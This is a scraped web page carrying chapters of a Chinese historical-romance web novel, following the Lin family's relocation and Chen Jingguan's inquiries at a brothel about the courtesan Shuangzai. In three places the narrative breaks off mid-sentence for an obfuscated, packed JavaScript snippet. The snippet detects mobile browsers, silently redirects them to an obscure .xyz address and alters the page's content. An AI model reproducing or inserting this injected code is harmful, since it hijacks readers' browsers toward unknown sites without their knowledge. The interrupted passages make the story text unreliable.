陆栖野猛地抬头,有些难以置信的看着方荔,他好像有些明白了,可脑袋却又好像一团浆糊。 “你要查,就去重山查。孔肃这边你不用担心,他还不至于撼动我的位置,你林叔的旨意估摸着也要下来了。” 陆栖野点头,可还是有些迟疑地开口道:“如果查出来……” “无论是谁,都不能留。” 陆晁的话不容置疑,陆栖野眉间闪过一丝忧虑,但还是应了下来,转身去安排今晚的行动。 正如陆超的猜测一般,没过几日赋阳宫里就有了消息,林均许背了个不痛不痒的渎职之罪,被派到了沧州任知州,孔肃暂代丞相一职。 陆栖野收到信的时候刚好到沧州,他提前为林家在沧州寻了居所。 虽说他要将林朝槿他们送去重山,可是不消几日重山大雪,届时势必要封山,所有将士都会暂时停留在沧州营,他们也一定会回城。 陆栖野的直觉告诉他,他们在沧州还会呆很久。 66.波谲云诡(一) “陆二哥哥,你说晏小公子会不会和苏先生一样,也收女弟子?” 陆栖野身后的马车传来一阵清脆的笑声,随后就见林含晚探出脑袋问他。 他们如今正走在去重山的路上,刚九月这天气却如同数九寒天一般降下霜来,那车帘刚被掀开,里面的林含章就叫嚷着:“冻死了,你拉上!” 陆栖野笑着把林含晚的脑袋塞回去,然后裹了裹身上的氅衣。 “怎么?还是喜欢?” 如今两年过去了,以前那个不谙世事的小姑娘成了亭亭玉立的小姐,但是林含晚心里对晏离鸿的情愫却没变过,自从拜师礼远远见过后,那种子就一直埋在她心里。 少女被取笑后并不在意,反倒是脸上扬起暖阳一般的笑容,她就是要让天下人都知道她喜欢鼎鼎大名的晏公子。 起初她的喜欢,源自于晏离鸿那副生得极好看的皮囊,尤其是他一身黑衣斜靠在陆家的庭院里,他周遭都是武将打扮,唯独他一个人鹤立鸡群。 林含晚一直知道陆家有三个哥哥,其余两个她常见到,可是晏离鸿,非必要他总是不愿出门,而林含晚小时候也不喜欢人多的地方,诸如家宴一般的事情她能推就推。 如此巧合之下,生长在陆林两家的两个人,居然在拜师宴前一次面也没见着。 回忆起那次拜师宴,林含晚脸上竟还生出几分羞涩,她是被弟弟拉着去的,说是一定要让她见识自己最重要的日子。 她那日只穿着素色的衣裙,让母亲将自己的头发简单地绾了个发髻,她原意是打算去看一眼就到姐姐房里休息,可是拜师宴开始前有很多准备工作要做,她不好面都不露。 于是林含晚就推脱开了跟着的仆从,一个人在陆家的庭院里四处逛游,碰巧在书房门口看到了晏离鸿。 “是林家二小姐吗?” 晏离鸿的声音很轻,他们周遭人来人往,可林含晚还是把他的话听得很清楚。 “是,你是晏小公子?” 晏离鸿勾着嘴角笑了,侧身给林含晚让出一条路。 “要去书房?是觉得宴会无趣?” 林含晚没有掩饰,努着嘴点头道:“我不喜欢人多的地方。” “是么,我也是。” 晏离鸿的轻笑声打乱了林含晚的一切思索,她又抬头看了一眼眼前的人,觉得他确实和陆家另外两个哥哥不一样。 “您知道陆伯父家里有什么书吗?” 晏离鸿轻轻点头,又转身回到了书房里。 陆晁虽说是武将,可是他从心底里羡慕林均许这样可以用文章歌赋陶冶性情的人,他觉得雅致,于是便买了许多书放在家里。 可他终究与林均许不是一类人,而他的两个儿子,大多也只是对兵法和政文感兴趣,他的所有书,最后都进了晏离鸿的肚子。 “有什么想看的?” 晏离鸿在书架边上走着,林含晚迟疑地开口:“你觉得我该看什么?” 晏离鸿抬起来的手怔了一下,“书本就是用来让人看的,没有什么该看,什么不该看。它存在,自有它的道理。” 林含晚上前走到了晏离鸿身边,顺着他的目光看到了一本有些泛黄的书页。 “你本来要给我的是什么?” 不知为何,晏离鸿让她觉得亲近,她不知不觉间卸掉了长幼尊卑的谦敬。 “《游园记》。” 晏离鸿说着,伸手把那本书抽了出来,林含晚接过来,伸手抚了抚扉页上的字。 “‘今之事时,不容笔墨杀伐绝’。这是你写的?” 晏离鸿应了一声,听到门口陆栖野在叫自己。 “当时看完后只觉得文墨无用,但是现在不这么想了。” 林含晚抬头看着晏离鸿,等着他的后文。 “你自己看吧,或许你自己能明白。” 晏离鸿柔和地笑了一下,临出门时重新整理了衣服的褶皱,让自己看起来庄重又妥帖。 “你也会紧张吗?” 林含晚握着书走到了门口,而晏离鸿没有看她,他只是叹了一口气,“我怕辜负了林叔的信任。” 说罢,晏离鸿迈步走了出去,他迎上了在寻他的陆栖野,然后林含晚见他同陆栖野说了几句,陆栖野便转头示意她自己玩就好,不用勉强自己。 林含晚看着远去的两个背影,手心与书接触的地方微微发潮,她放弃了原来的打算,悄悄跟着去正厅的仆人来到了侧房,在那里她可以看到整个拜师仪式。 仪式的开始,是随着林均许报上了林含章的生平,紧接着晏离鸿走到跪着的林含章面前,他没有坐下,反而是将林含章扶了起来。 林含晚没听到他说了什么,只见林含章恭敬地朝晏离鸿举了一躬,然后晏离鸿接过了他手里的茶,微微仰头喝了一口。 这之后都是些寻常的拜师礼仪,林含晚没兴趣了,便绕过了长廊回到了书房,她手里的书被她揉得有些发皱,她一边看着一边用手抚平。 不知道过了多久,她听到了林含章的声音,她抬头时发现已到了日暮时分,她手里的书页还有不多的几行,她起身把门关上,然后背靠着大门努力提快自己的速度,想趁着林含章找到自己之前看完这本书。 其实她最初翻开这本书的时候并不是很喜欢,写书的人她没听过,前半部分大多在叙述他童年的闲散游记,故作童真的念叨些是非,林含晚觉得他有些矫情。 可是越看到最后,明明写书的人没有变,可是他的文字习惯已经完全不一样了,他不再抒发自己的情感,只是简单地记录他的见闻,用词更谨慎了,同时好像故意隐去了什么。 林含晚起了兴致,便开始仔细对比其中的不同,直到她看完最后一个字的时候,她突然有种怅然若失的感觉。 她明白了自己为何会对前半部分嗤之以鼻。 那时候的作者浑身散发着年少的稚气和初生牛犊不怕虎的莽撞,而此时的她,也是如此。 后来作者长大了,他看到了林含晚还没看到的长大后的世界,他的童真和快乐被现实击碎,他的笔墨失去了新生的冲击力,通篇只剩下无可奈何。 他在最后写道:“游园惊梦,三叹年华。” 林含晚甚至不知道他是否还存活于世,也不知道在他落笔后是否找到了少年意气。 他感叹完年华,就将他的一辈子写尽了。 又或者说,他把认为值得记录的人生写尽了,余下的,他连动笔都找不到理由。 “你还在里面吗?林叔要走了,在寻你。” 晏离鸿的声音隔着木门响起,他没有直接推开,而是面对着里面若隐若现的人影站住了身。 “你说,刀枪真的就比笔墨更有力吗?” 林含晚没有开门,她依旧背对着晏离鸿,在她没看到的地方,晏离鸿眼中闪过一阵惊喜。 “我长在武家,每日看到的都是陆家人为了北梁出生入死,我没有立场否定他们的功绩。而你长在林家,你觉得林叔当真只是个空有文才的绣花枕头吗?” “当然不是。” 林含晚应声打开了门,月色将晏离鸿的轮廓勾勒,他的阴影照在林含晚的头上。 “父亲做的,是稳固朝纲,利于万民的事业。这天下光是打下来却坐不住,最后受苦的只有百姓。” 晏离鸿没说话,但是他的目光软下来了,他伸手拿过林含晚手里的书,犹豫了一下最后还是拍了拍她的肩。 “回家吧。” 林含晚刚才的话说得义愤填膺,她以为晏离鸿还会对自己再说些什么,可他只是转身带着林含晚找到了在门口等着的林均许。 林均许看见她后问了两句,也没斥责她,反倒是应了晏离鸿的话,准许了林含晚从此自由出入书房。 林含晚登上马车前抬头看了一眼,晏离鸿随着人群站在门口送他们,他站得很远,几乎只露出一个脑袋。 其实林含晚还有话没来得及说,她想问晏离鸿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725855|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那你会成为我父亲一样的人吗? 但是他的回答不重要了,因为林含章记住了晏小公子,并且喜欢上了他。 少女时的喜欢,就如春雨一般细润无声,林含晚最初没有向任何人袒露过她的心事,但是她开始往来与任何能见到晏离鸿的场合。 晏离鸿对她还是即亲近又疏远,不过他们都不喜欢人多的地方,便往往能在一些奇怪的地方碰上。 可林含晚毕竟年纪小心里藏不住事,而且她的喜悦,林朝槿也曾经历过。所以她看着妹妹,心里一清二楚。 “你对晏小公子……” 有一日林朝槿回家,林含晚照常去她卧房里找她玩,她知道自己与林朝槿的关系不似与林含章一样,但她打心底里仰慕姐姐,便不在乎那些有的没的。 她听了林朝槿的话,手上本还拨弄着林朝槿床上的香袋,突然动作停滞,下意识低下了头。 “喜欢就是喜欢,没什么不能承认的。陆伯父和方伯母教养孩子很有一套,陆家的孩子不会错的。但是你还小,等过些年,我会与栖川提的。” 林含晚没有反驳姐姐的话,间接应下了这门很遥远的亲事。 但是同样的话被陆栖川说给晏离鸿的时候,他却没作答,他不置可否的回应让陆栖川心生疑虑。 陆栖川将一切与林朝槿说清楚,而林朝槿没急着做什么,只说让他们再长长。 真正的喜欢,不会被岁月侵蚀。 如今两年过去,林含晚的喜欢不减分毫,而晏离鸿的名气越来越大,他随着陆栖川在外巡守,虽说依旧常年窝在帐子里,可是陆栖川没有想抢他的风头。 于是大家都知道了昌安营藏着一条潜蛟,他既善兵法,更懂人心。 “喜欢又不是丢脸的事情,况且,我觉得我们很合适。” 随着年岁稍长,林含晚就更多了几分娇蛮,不过她不是不懂礼数的,她的娇蛮,更多的在于她相信自己,同时也相信她相信的人。 算是一种恃宠而骄。 “之后到了兵营,你可以再去问问他。” 陆栖野笑着应答,而马车里的林含晚眉眼弯弯,林朝槿笑着拍了拍她的手,而林含章有些轻蔑地瞥了她一眼,冷嘲热讽道:“说不定先生身边已有佳人常伴,毕竟年少有为的郎君,多少姑娘都喜欢呢。” “你在这里讥讽我没用,他是你的先生,你却没学到他的半分,该是你要担心了。亏得父亲煞费苦心寻了他来教你。” 林含晚嘴上不饶人,等她说罢,林朝槿便“嗤”地笑出了声,紧接着就连一直有些紧张的梅椿也陪着笑了,只剩下林含章一个人冷了脸。 “就你这副样子,论我也不会喜欢你!” 林含章怒目而视,而林含晚并不接腔,她侧过身与林含章拉开了些距离,微微打开帘子透气。 本还在远处的雪山已经近在咫尺,路两旁的松柏扑簌簌落着雪,她定睛一看瞧见一只松鼠在枝桠上蹦,她的目光跟随着那小东西走,一直到它消失在松林中。 “母亲,父亲也快来了吧,我记得他很喜欢雪。” 林含晚冷不丁开口,旁边的梅椿便显得有些紧张,而林朝槿伸手握住了她的手,回答道:“父亲来了信,不日就到沧州赴任。” 林含晚捕捉到了关键词,但是她没有继续往下问,甚至回头用眼神警告着林含章,让他也闭了嘴。 对于林均许的遭遇,虽说全家上下都努力瞒着他们,可是林含晚是敏感的,她能迅速捕捉到一些信息,不过为了不让母亲担心,她依旧装作什么也不知道的样子。 相比之下,林含章迟钝一些,但是两个姐姐都沉默着,他总还是能察觉出些什么,他想要问,但是林含晚总会如此时般拦住他。 他抬头看了一眼对面的梅椿,望见了林朝槿牵着她的手,用拇指静静摩挲着她的手背。 也罢,无论将来要去哪里,至少他们一家人又团聚了。 只要家人还在,家就还在。 67.波谲云诡(二) 陈京观收到陆栖野寄来的信的时候,他正和温叔让一起吃早餐,家中有长辈的好处就是随时都能吃上热乎的饭菜,但相应的,他们住在温府怎么说都有些拘束。 而温叔让当然明白陈京观与自己这不近不远的关系,为了能多留他几日,他尽量让自己的存在感降低,让陈京观怎么舒服怎么来。 此时他见来送信的驿兵有意躲着自己,就识相地扒了两口粥去了厨房,留下陈京观一个人在正厅里坐着。 “少将军,这次的信是从沧州营寄过来的。” 驿兵解释说,陈京观没应声,打开了手上的信封。 信上陆栖野说自己去了重山,同时整个林家都搬到了沧州,林均许被降职,如今北梁朝堂只剩下他父亲一个人与孔肃相抗衡,他心里很不安。 对于林均许被降职的事情,陈京观有听闻,毕竟到了他的位置,他的升迁就不再是北梁一国的事情,由此事引发的涟漪,很容易波及到所有人。 但是陆栖野也去了重山,陈京观没有看懂他们的意图。 他的加入,使重山成了北梁真正的军事重地,北梁安身立命的所有依靠如今都掌在了身处重山的三人手里。 这件事光是他想来,就已经觉得暗藏玄机,更何况那位北梁皇帝。 不过陆栖野信上没有提及自己去重山的原因,陈京观也就没有再问,他想着陆晁一定不会随便支走他们,相比于自己,陆晁见识过更多的人心险恶。 “吃完了就让人来收拾吧,你最近若没事,可以去我给你在丰水县置的宅子看看。” 陈京观抬头,温叔让笑着招呼人进来收拾碗筷,他递给陈京观一块帕子,陈京观轻声道了句谢。 虽说已经相处了小半个月,可是陈京观还是觉得别扭。 话虽然说清了,可是那道疤还在,它只是不痛了,却不是不在了。 “没事,反正丰水县离得近,那地方小,平日也没什么事,我再陪陪您。” 陈京观嘴上说着,却看见温叔让有些欲言又止。 “您想说什么就说吧。” 温叔让动身走过来,坐到了陈京观旁边,犹豫了一下将手抚上了陈京观的肩膀。 “这么多年不见,你与我不亲近我不怪你,如今你有自己的事情要做,不用太顾及我的。其实,”温叔让顿了一下,“我只要知道你还安好就行。” 陈京观感觉到肩膀上的手颤动了一下,他望着温叔让的眼睛,从里面看到了母亲的影子。 他没有再推辞,寻来了平芜开始着手搬家,他不是不愿意与温叔让一起住,而是他有很多事情不想让温叔让知道,或者说不想让他牵涉其中。 母亲拿命保下了他,自己断不能让他送了命。 好在丰水县离怀阳县不算远,陈京观走时与温叔让约定一周回来吃一次饭,他想像陆栖野一样给温叔让撒娇,但是嘴张开了,却只说一句“您多保重”。 温叔让明白他的性子,便招手让他离开,不过陈京观走之前故意提了一句自己想吃叉烧包,他想着主动开口了,温叔让总能感觉得到自己是愿意接纳他的。 毕竟愿意麻烦一个人,其实是信任他的表现。 从温叔让家离开,陈京观要沿着泯川江才能走到丰水县,丰水,顾名思义就是水源丰茂的地方。 他这次选择骑马走,一路上看着江边停靠的画舫,这些船只只有每月十五的时候才会开动,平日里停在那,外表的精致和毫无生气的内里形成对比。 偶尔有船夫上去做检查,庞大的船身里嵌着一个小小的影子,围栏升起的时候它好像活了过来,可很快又陷入一潭死水。 这样的画面让陈京观想到了史如所说的机器。 在某种程度上,南魏也和这些船只一样,内里不知道腐朽了多少,可是表面依旧花团锦簇,只有开船的人才知道,他们不过是在虚张声势。 “师兄,前面好像有人在游街。” 陈京观寻着平芜的声音望过去,发现此“游街”非彼“游街”。 只见路中央缓缓驶过来一辆花车,随着那庞然大物向前移动,上面时不时洒下来花瓣雨,路两旁的百姓见怪不怪,但也默契地停了步子,驻守在花车的两边。 陈京观让跟在后面的府兵为花车让路,他也下马站在人群外围,等着那花车靠近,他才看清楚上面坐着的人。 霜栽。 霜栽也看到了她,她巧笑嫣然,手里的琵琶迎合着最前面站着的歌女,路过陈京观时她瞥了他一眼,然后转头目不斜视的继续随队伍前行。 陈京观听到他耳边的年轻人惊呼道:“霜栽看我了!她真的记住我了!” “想问下,这是什么活动?” 陈京观随手拉过那个年轻人,他嘴上回着话,可眼睛却直勾勾盯着走过去的花车。 “这是我们崇州的特色,每月十二由各红楼选出当月的花娘子,只有当选花娘子的人才能参加十五的画舫游船。” 陈京观应了一声继续问道:“那我们如何才能参加画舫游船?” 那年轻人转头瞟了陈京观一眼,眼里露出不屑的神情。 “那岂是你我这种人能参加的?” 陈京观笑着应了声是,见他态度很好,那年轻人便摆出一副好为人师的样子开口为他解惑。 “公开的渠道,是通过每家红楼门口的票榜打赏,每家前三位可以获得红楼签发的入场券。至于不公开的渠道,”那年轻人眼中闪过一丝狡黠,“你若能勾搭上官府或者直接入了哪个花娘子的眼,他们也能带你进去。” 陈京观了然地点头,而那年轻人重新打量了他一番,试探地问:“你若有银钱,或许现在去泯川楼打赏还来得及。那里的姑娘心气高,只有她们选中的人她们才会接受。我看你皮囊不错,这次进不去混个脸熟也行。我就是锲而不舍的追求了霜栽姑娘十七次,你瞧见没有,她刚才看我了!” 随后那年轻人像是魔怔了一样陷入自己的遐想,就连陈京观对他道谢的话他也没听见,自顾自地随着花车往前走。 “平芜你先带着他们几个去府院收拾,席英你随我去一趟泯川楼。” 陈京观说完,就看到平芜抿了抿嘴。 “你别想,在我没探察清楚那是不是盘丝洞之前,我不会带你去的,我不会忘了你在蛐蛐馆丢了多少银子。” 说罢,陈京观翻身上马绕过了人群,而平芜嘴里絮叨着,却无法反驳,只得遵了他的命令带着府兵先回家。 “你其实是觉得我能和她说上话?” 席英跟在陈京观后面问,而陈京观点了点头。 “她对一般人都不信任,但我见她对你倒是亲切。我们想办法混一张去画舫的船票,我觉得有些事情得问问清楚。” 陈京观逆着人群朝泯川楼走,一路上总能听到有人谈论刚刚的花车游行,他大致听了一耳朵,多是在谈论霜栽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755776|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这一次游行,是她消失许久后的第一次露面。 其实早在年初就有人传说她回到了泯川楼,可是泯川楼对外一律不回应,几个老主顾登门时也吃了闭门羹。 陈京观算起来,霜栽的确应该在年初的时候就回来了,刑部的人做事很严谨,他也没有听到关策报告相关的传闻,那证明至少在外界看来霜栽应当是被直接送回了泯川楼。 可是为何她等到了陈京观来崇州之时才重新出现? 这个想法不是第一次出现在陈京观脑海中,他回想起每次遇到霜栽的时机,都太巧了。 蒋铎怀疑他的身份时,她出现了,陈京观缺少最后的证据时,她又出现了,此时陈京观被贬官,她甚至大张旗鼓回到了天下人的视野中。 他毫不怀疑,刚才霜栽一定看到他了。 一次巧合是巧合,若每一次都不期而遇,那便是蓄谋已久。 陈京观骑在马上从外围绕进城,泯川楼在丰水县的地界,他提前把赴任的官书拿在身上以防不备。 等到靠近那红楼时,陈京观被眼前的景象一惊,他来之前听说过崇州人喜好闲散玩乐,所以这里的娱乐行业十分发达,可是他没想过一整条街都是形形色色、花红柳绿的铺面,他走过时被门口的香气闹得晕头转向。 “你不能这副打扮就进去,太正式了。” 席英叫住了陈京观,陈京观狐疑地望了她一眼,“你去过?” 席英脸上露出不明所以的表情,“我父亲是军营里的,纵使他没去过,他手下总有人喜好这一口,我见了很多半人半鬼的家伙。” 说罢席英下马,顺手牵过陈京观的马匹,将他们托付给了一家布店的伙计。 不知道她同那伙计说了什么,只看到她招手让陈京观过去。 “我一个女儿身进去也太奇怪了,走吧,一起换身行头。” 陈京观摇着头哭笑不得,片刻后他由那伙计搭出来了一身浪荡公子的装束,而席英出来时俨然一副面容姣好的小少爷样子。 “我的名字分不出男女,倒是你,不能用真名吧。” 席英整着领口的头发,将它们全都塞进了发箍里,陈京观望着她笑了,但是没有对她的行头作出评价,而是应了一句:“黄三余,景州茶商。” 席英了然地点头,然后从包袱里拿出一枚碎银子递给那伙计,伙计笑着接过来,立刻默契地转身走了。 “你同他说了什么?” 席英笑而不语,示意陈京观可以走了。 不得不说席英的这一套动作很熟练,也很有效,他二人出现在泯川楼前的时候老鸨立刻迎了上来,像是看见了财主一样恭维他们。 “两位公子今日想干点什么,听曲儿?还是歌舞?” 陈京观没说话,席英便粗着嗓子应声:“我刚才在花车上看到你家花魁了,能点吗?” 老鸨愣了一下,稍微压低声音,“能点是能点,但是霜栽的事她自己个儿做主,等她回来您亲自问问?” 席英故作疑惑地看了老鸨一眼,问:“她不是你的人?她赎身了?” 老鸨摇了摇头,面露难色地答道:“她没签过卖身契,正经来说,她不算我的人。” 闻言,席英与陈京观对视了一眼,那老鸨看他们身价不菲的样子,并不想要失去这两个大客户。 “这是我们这公知的事情,想必您二位刚来还不知道,那我便与你们说说?” 68.波谲云诡(三) 那老鸨说着就将他们往店里引,刚进来就见一群姑娘围了上来。 老鸨并不打算替他们解围,而陈京观也知道她的意思,随手点了两个随着他们一起进了客房。 老鸨看他如此上道,立刻喜笑颜开地吩咐下面的人上酒上菜,自己躬着腰把两人请上了座。 “她当时是我们这一位嬤带进来的,但是刚进来那位嬤就替她赎了身,所以她充其量算是住在我们店里的艺子,连妓都算不上。” “那她为什么一定要待在这儿?” 陈京观的言外之意老鸨当然明白,她笑眯眯地替他斟酒。 “她长得漂亮,那一手琵琶更是绝妙,她在我们这可以当头牌,可出了这门,她就是男人们眼里的猎物。” 陈京观轻轻挑眉,那老鸨就奉承着说:“我见公子面相和善,定不是个表面君子,等会儿她回来了,我替您引荐。” 陈京观端起酒杯道了声谢,但是只轻轻抿了一口。 “其实要说在这世道赚钱,我们这个行当是最容易的,不能说旱涝保收,但是年轻的时候努把力,是能存下一辈子的花销的。人嘛,活着最重要,脸面什么的又不能当饭吃。” 老鸨继续说着,而席英脸上的表情却复杂起来了,片刻后她开口:“那她住在这,能给你带来什么?” 老鸨手上的动作停顿了一下,转瞬间又恢复如常。 “她带来的名气啊,人脉啊,这些看不着摸不着的东西,虽说不好估值,可是我心里清楚那帐面的流水有多少是她挣来的。我也说了,人总不能和钱过不去。” 陈京观身边的两个姑娘想要贴过来,他便巧妙地避开了,从怀里掏了一枚银子放在桌上,那老鸨就挥手让两人先走了。 “你刚才说的是公知,那我这枚银子,能不能买些别人不知道的消息?” 老鸨也是见过大世面的人,虽然她眼馋桌上的银子,但依旧气定神闲地说道:“能是能,但是不一样的消息有不一样的价格。” 陈京观听了她这话,便又从身上拿出来一枚银子,但是这次他没放到桌上,而是不停拿在手里掂量着。 “你先说,我看值多少。” 老鸨眉眼间乐开了花,她先收下了桌上的银锭,然后给陈京观递过去一个靠腰,有一种说来话长的感觉。 “像她这样的人我们当然愿意收,但是我们也肯定不会随便收。那位嬤把她带来的时候压了一枚银子在我这,说是两个月内让她成我楼里的头牌。那嬤的技术我见识过,要不是她为人太过谨慎,不愿抛头露面,说不定她的名气要更胜过霜栽呢。” 陈京观抬手打断了老鸨,“那位嬤的信息,你能说多少?” 老鸨没有得寸进尺,因为她自己也摸不透那女子的消息。 “我只知道她艺名青衣,是东亭来的,好像还给宫里的人弹过琴,后来不知道什么缘故就一个人离开了家。她来到崇州的时候我发现了她,给了她一口饭吃,她就留在我这免费教琴了。对了,她还带了个弟弟。” 弟弟,老鸨这话一出,陈京观想了很多人,但是年龄对不上。 “她大概多少岁?” “来的时候我估摸着也就二十,而她手里牵着的小男孩看起来五六岁了。” 老鸨的话应证了陈京观的假设,他没说话,继续听老鸨讲。 “她在我们这其实很安逸,她的琴技好,平日点她的客人很多,没活的时候她就带着弟弟四处玩乐。对了,她中间离开过几年,就是她回来的时候带来的霜栽。” “她离开过?是何缘故?” 陈京观眉头紧锁,而老鸨见他的反应便有些迟疑。 “因为她是偷着过境的,所以在我们这一直没法登记,后来遇到了真心人,领着她去官府告了婚书,她也就顺势得了个南魏的身份。凭她赚的钱再加上一张合法的身份,她的确不该再留到这了。” “那她离开后的消息你知道多少?” 老鸨瞧了陈京观一眼,本来觉得他追问青衣的行为有些奇怪,可是转头看到席英的手握在了刀上,便咽了口唾沫继续说。 “她嫁的是个短命鬼,没几年就死。据说男人还在外面欠了很多债,他死后青衣就被各路人追杀,她是没处去了才回来的,也是个苦命人。” 陈京观微微点头思索着老鸨的话,“那她后来一直待在这?” “霜栽出师后她就被家人接走了,虽然我瞧着,接她走的不像好人。” 老鸨神色紧张,微微靠近陈京观,“他们各个手里拿着刀,凶得很。但是青衣让我放心,我便没再多问。” 虽说没有直接证据证明霜栽所说的姑姑就是青衣,可陈京观的直觉告诉他错不了。 “那霜栽这些年就一直待在你这?凭她的样貌,再加上你们这公知的清白,应该能寻个不错的人家。” 老鸨笑着摇头,有些意味深长地看着陈京观。 “也不是每个人都相信男人。况且她师父就是个失败的例子,她凭自己就能在我们这活得很好,又何必去自讨苦吃?” 陈京观被老鸨说得哑了声,席英看着他吃瘪,嘴角悄然勾起一抹微笑。 “那她除却在画舫的生意,平日里做些什么?” 席英调整了一下有些僵硬的姿势,那老鸨就给她也递过来个靠腰,然后上手替她捶腿。 “她是个知道感恩的,虽说不能直接报答青衣,却能将她的手艺传下去。闲散的时候她教楼里的姑娘弹琴,有时候也接一些官家的夜宴。” “所以当日蒋铎来寻的时候,是借着晚宴的由头?” 老鸨听到这个名字明显慌了神,但是她故作镇静地笑着,手上的动作依旧不停。 “蒋丞相,不,蒋铎,他那时候是在画舫上单独找的霜栽,具体用了什么方法我不知道。我们这只有楼里的事情才归我们这些妈妈管,凡是能上到画舫上的,无论是收入还是人情,都是姑娘们自己的。” 陈京观在一旁听着,突然想笑。 他有一瞬间觉得,就连这红楼都比朝堂更有人情味。 “对了,霜栽其实也算得上泯川楼的老板,她投了很多银子在我这,让我在街上遇到人牙子卖小姑娘的就买下,由她负责她们营生前的开销。” 老鸨说到这突然叹了一口气,“她真的是个很好的姑娘,若是生在寻常人家,出路一定比这更好。” 陈京观没搭话,但是席英瞧见他缓缓低下了头,下意识咬着嘴唇。 和他相处这么久了,这是他有心事时候的惯常表现。 “我们能见见那些小孩吗?” 席英开口问道,而老鸨露出了警惕的目光,席英突然意识到她现在这身装束完全不像个好人,便解释说:“我没有这癖好,只是想着若有合眼缘的,我也愿意分担她的日常开销。” 老鸨松了一口气,又挂上了自己的招牌微笑,她站起身理了理发皱的衣裙,然后自然地替席英整理着。 若在平时,席英不会允许旁人碰自己,可是这个老鸨给她的感觉不一样,虽说她涂抹着俗气的胭脂水粉,一副小市井的作派,可是她愿意相信她。 霜栽给她的也是这种感觉,一种惺惺相惜。 “小公子生得真俊俏,你与你兄长不同,他是硬朗,你倒有几分女儿相,看着舒服。” 老鸨一边恭维着席英一边替她引路,陈京观就跟在他俩后面走着。 要不是有老鸨带路,陈京观或许真的能迷失在这九重天了,也是随着老鸨往深处走时,他才意识到这园子有多大。 不过这里的姑娘与他印象中的红楼女子不同,她们脸上无一不带着笑。 那笑是真心的,没有标准化的规矩,也没有强人所难的违心。 老鸨没说错,她们在这里活得很舒服。 想到这,陈京观心里的石头翘起了一角,他想过很多霜栽可能遭受过的磨难,并且将那一切推演在自己身上,然后发现自己感受到的不过是万分之一,为此他被愧疚压得快喘不过气。 而今来了泯川楼,他觉得至少霜栽没受气,虽说这定然比不上大户人家小姐的日子,可是也让他心里松快了一些。 “到了。不过她们平日不见陌生男子,两位隔着窗户瞧一眼就好。” 席英应了一声,隔着那窗栏朝屋子里望。 里面的小姑娘各个喜笑颜开,她们比划着彼此身上的衣裙,有一两个围坐在一起弹琴,还有几个在给彼此梳发髻。 “冬日要到了,她们要采购新衣,所以不免兴奋一些,平日里还是很乖顺的。” 席英笑着没说话,陈京观看了她一眼,也明白了她的意思。 于是他留了席英一个人站着,将老鸨拉到旁边又给她塞了一枚银子。 “消息的钱是刚才的银子,这个留给她们置办冬衣。” 老鸨笑着接过去,连忙躬腰道谢,可陈京观再回头看席英时,她却不见了踪影。 “你们……” 老鸨以为他们这是调虎离山,连忙开了门进去数人数,清点完毕后发现果真少了一个。 “我信你们才将你们带到这,你们骗我的孩子!” 老鸨朝陈京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774144|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观声嘶力竭地喊道,转眼间眼眶里就蓄满了泪。 陈京观此时也不知道该如何为自己辩解,便四下里张望着席英的踪迹。 “我留在这当你的人质,若她不把孩子送回来,我随你去官府受罚。” 陈京观自知无理,便低着头任凭老鸨撕扯着他的衣服,院子里的小孩见老鸨这副样子,立刻围过来群起而攻之。 “妈妈,走丢的是她吗?” 老鸨的动作被突如其来的问话打断,陈京观转头看到霜栽牵着一个小姑娘走过来。 那老鸨见了人立刻冲上去问话,得知此事与陈京观无关后,有些不好意思地朝陈京观道歉。 “我就是情急,还请公子莫见怪。” 老鸨臊红了脸,那些小姑娘也随着她的动作跪在了地上,陈京观摆手让他们起来时,才发觉自己少将军的腰牌不知何时露在了外面。 “都是误会。您先下去,我与霜栽姑娘说两句话?” 老鸨认清了眼前的人,便立刻偃了声气,带着身后一群叽叽喳喳的小姑娘回到了里院。 “寻我来的?” 还没等陈京观开口,霜栽便笑着问他,说罢还上下瞧了他的装束,不禁失笑。 “你穿这身衣服倒真有道貌岸然的意味。” 陈京观听了却没笑,他神色有些让人捉摸不清,霜栽便继续说:“跟你来的人我也不知道去哪了,说不定宿在哪个美娇娘怀里。我的时间不多,你要有话同我说,就直接些。” 说罢霜栽动身去到了旁边的凉亭,她手里还拿着东西,看起来应该是她的琵琶。 “你回来多久了?” 陈京观心里有很多话,但是最后先说出口的却是这句,而霜栽显然也没想到,她有些愣神。 “年前就回来了,不过我想休息一下,便没有立刻挂上我的牌子。怎么,你怀疑我是在等你?” 陈京观没说话,霜栽便笑着摇头,“我也没想到我帮你扳倒了蒋铎,你反而被赶出了阙州。” 